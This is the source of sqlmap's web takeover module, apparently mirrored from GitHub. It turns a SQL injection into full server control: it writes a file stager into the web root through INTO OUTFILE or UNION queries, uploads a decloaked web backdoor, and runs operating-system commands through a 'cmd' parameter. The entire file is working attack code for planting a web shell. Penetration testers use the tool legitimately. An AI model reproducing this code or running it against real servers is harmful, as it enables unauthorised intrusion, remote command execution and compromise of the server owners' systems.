mirror of
https://github.com/sqlmapproject/sqlmap.git
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359 lines
14 KiB
Python
359 lines
14 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import os
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import posixpath
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import re
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import StringIO
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from tempfile import mkstemp
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from extra.cloak.cloak import decloak
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from lib.core.agent import agent
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from lib.core.common import arrayizeValue
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from lib.core.common import Backend
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from lib.core.common import extractRegexResult
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from lib.core.common import getDirs
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from lib.core.common import getDocRoot
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from lib.core.common import getPublicTypeMembers
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from lib.core.common import getSQLSnippet
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from lib.core.common import getUnicode
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from lib.core.common import ntToPosixSlashes
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from lib.core.common import isTechniqueAvailable
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from lib.core.common import isWindowsDriveLetterPath
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from lib.core.common import normalizePath
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from lib.core.common import posixToNtSlashes
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from lib.core.common import randomInt
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.common import singleTimeWarnMessage
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from lib.core.convert import hexencode
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from lib.core.convert import utf8encode
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import paths
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from lib.core.enums import DBMS
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from lib.core.enums import OS
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from lib.core.enums import PAYLOAD
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from lib.core.enums import WEB_API
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from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
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from lib.core.settings import EVENTVALIDATION_REGEX
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from lib.core.settings import VIEWSTATE_REGEX
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from lib.request.connect import Connect as Request
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class Web:
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"""
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This class defines web-oriented OS takeover functionalities for
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plugins.
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"""
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def __init__(self):
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self.webApi = None
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self.webBaseUrl = None
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self.webBackdoorUrl = None
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self.webBackdoorFilePath = None
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self.webStagerUrl = None
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self.webStagerFilePath = None
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self.webDirectory = None
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def webBackdoorRunCmd(self, cmd):
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if self.webBackdoorUrl is None:
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return
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output = None
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if not cmd:
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cmd = conf.osCmd
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cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
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page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT)
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if page is not None:
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output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
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if output:
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output = output.group(1)
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return output
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def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
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if filepath is not None:
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if filepath.endswith('_'):
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content = decloak(filepath) # cloaked file
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else:
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with open(filepath, "rb") as f:
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content = f.read()
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if content is not None:
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stream = StringIO.StringIO(content) # string content
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return self._webFileStreamUpload(stream, destFileName, directory)
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def _webFileStreamUpload(self, stream, destFileName, directory):
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stream.seek(0) # Rewind
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try:
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setattr(stream, "name", destFileName)
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except TypeError:
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pass
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if self.webApi in getPublicTypeMembers(WEB_API, True):
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multipartParams = {
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"upload": "1",
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"file": stream,
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"uploadDir": directory,
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}
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if self.webApi == WEB_API.ASPX:
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multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
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multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
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page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
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if "File uploaded" not in page:
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warnMsg = "unable to upload the file through the web file "
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warnMsg += "stager to '%s'" % directory
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logger.warn(warnMsg)
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return False
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else:
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return True
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else:
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logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webApi)
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return False
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def _webFileInject(self, fileContent, fileName, directory):
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outFile = posixpath.normpath("%s/%s" % (directory, fileName))
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uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
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query = ""
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if isTechniqueAvailable(kb.technique):
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where = kb.injection.data[kb.technique].where
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if where == PAYLOAD.WHERE.NEGATIVE:
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randInt = randomInt()
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query += "OR %d=%d " % (randInt, randInt)
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query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery))
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query = agent.prefixQuery(query)
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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page = Request.queryPage(payload)
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return page
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def webInit(self):
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"""
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This method is used to write a web backdoor (agent) on a writable
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remote directory within the web server document root.
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"""
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if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
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return
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self.checkDbmsOs()
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default = None
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choices = list(getPublicTypeMembers(WEB_API, True))
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for ext in choices:
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if conf.url.endswith(ext):
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default = ext
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break
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if not default:
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default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
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message = "which web application language does the web server "
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message += "support?\n"
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for count in xrange(len(choices)):
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ext = choices[count]
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message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
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if default == ext:
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default = count + 1
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message = message[:-1]
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while True:
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choice = readInput(message, default=str(default))
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if not choice.isdigit():
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logger.warn("invalid value, only digits are allowed")
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elif int(choice) < 1 or int(choice) > len(choices):
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logger.warn("invalid value, it must be between 1 and %d" % len(choices))
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else:
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self.webApi = choices[int(choice) - 1]
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break
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kb.docRoot = arrayizeValue(getDocRoot())
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directories = sorted(getDirs())
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backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
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backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
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stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
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stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
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success = False
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for docRoot in kb.docRoot:
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if success:
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break
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for directory in directories:
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uriPath = ""
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if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
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continue
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directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
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docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
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# '' or '/' -> 'docRoot'
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if not directory:
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localPath = docRoot
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uriPath = '/'
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# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
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elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
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localPath = "%s/%s" % (docRoot, directory)
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uriPath = "/%s" % directory
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else:
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localPath = directory
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uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
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if docRoot in uriPath:
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uriPath = uriPath.replace(docRoot, "/")
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uriPath = "/%s" % normalizePath(uriPath)
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else:
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webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
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if webDir:
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uriPath = "/%s" % webDir
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else:
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continue
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localPath = posixpath.normpath(localPath).rstrip('/')
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uriPath = posixpath.normpath(uriPath).rstrip('/')
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# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
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infoMsg = "trying to upload the file stager on '%s' " % localPath
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infoMsg += "via LIMIT INTO OUTFILE technique"
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logger.info(infoMsg)
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self._webFileInject(stagerContent, stagerName, localPath)
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self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
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self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
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self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
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uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
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uplPage = uplPage or ""
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# Fall-back to UNION queries file upload technique
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if "sqlmap file uploader" not in uplPage:
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warnMsg = "unable to upload the file stager "
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warnMsg += "on '%s'" % localPath
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singleTimeWarnMessage(warnMsg)
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if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
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infoMsg = "trying to upload the file stager on '%s' " % localPath
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infoMsg += "via UNION technique"
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logger.info(infoMsg)
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handle, filename = mkstemp()
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os.fdopen(handle).close() # close low level handle (causing problems later)
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with open(filename, "w+") as f:
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_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
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_ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
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f.write(utf8encode(_))
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self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
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uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
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uplPage = uplPage or ""
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if "sqlmap file uploader" not in uplPage:
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continue
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else:
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continue
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if "<%" in uplPage or "<?" in uplPage:
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warnMsg = "file stager uploaded on '%s', " % localPath
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warnMsg += "but not dynamically interpreted"
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logger.warn(warnMsg)
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continue
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elif self.webApi == WEB_API.ASPX:
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kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
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kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
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infoMsg = "the file stager has been successfully uploaded "
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infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
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logger.info(infoMsg)
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if self.webApi == WEB_API.ASP:
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match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
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if match:
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backdoorDirectory = match.group(1)
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else:
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continue
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_ = "tmpe%s.exe" % randomStr(lowercase=True)
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if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
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self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
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self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
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self.webDirectory = backdoorDirectory
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else:
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continue
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else:
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if not self.webUpload(backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent):
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warnMsg = "backdoor has not been successfully uploaded "
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warnMsg += "through the file stager possibly because "
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warnMsg += "the user running the web server process "
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warnMsg += "has not write privileges over the folder "
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warnMsg += "where the user running the DBMS process "
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warnMsg += "was able to upload the file stager or "
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warnMsg += "because the DBMS and web server sit on "
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warnMsg += "different servers"
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logger.warn(warnMsg)
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message = "do you want to try the same method used "
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message += "for the file stager? [Y/n] "
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getOutput = readInput(message, default="Y")
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if getOutput in ("y", "Y"):
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self._webFileInject(backdoorContent, backdoorName, localPath)
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else:
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continue
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self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
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self.webDirectory = localPath
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self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
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testStr = "command execution test"
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output = self.webBackdoorRunCmd("echo %s" % testStr)
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if output and testStr in output:
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infoMsg = "the backdoor has been successfully "
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else:
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infoMsg = "the backdoor has probably been successfully "
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infoMsg += "uploaded on '%s' - " % self.webDirectory
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infoMsg += self.webBackdoorUrl
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logger.info(infoMsg)
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success = True
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break
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